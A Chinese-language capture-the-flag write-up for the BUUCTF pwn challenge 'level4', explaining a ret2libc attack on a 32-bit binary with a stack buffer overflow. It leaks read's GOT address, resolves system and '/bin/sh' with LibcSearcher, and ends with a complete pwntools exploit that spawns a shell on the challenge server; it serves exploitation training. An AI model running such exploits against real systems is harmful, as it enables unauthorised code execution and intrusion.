level4
步骤:
- 例行检查,32位程序,开启了NX保护
- 运行一下程序,看看大概的情况
- 32位ida载入,首先检索程序里的字符串,根据上一步运行看到的字符串进行跳转
- 输入点在function里
参数buf存在溢出漏洞,字符串里没有找到现成的后门可以利用,所以使用ret2libc的方法来获取shell
利用过程:
- 泄露libc版本
只能通过程序里已经调用过的函数才行,这里利用的read函数
read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)
read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])
- 计算libc基址,然后找到程序里system和bin/sh的地址
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
- 构造rop攻击,获取shell
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)
完整exp:
from pwn import *
from LibcSearcher import *
r=remote("node3.buuoj.cn",25393)
context(os = "linux", arch = "i386", log_level= "debug")
elf=ELF('./level4')
read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)
read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)
r.interactive()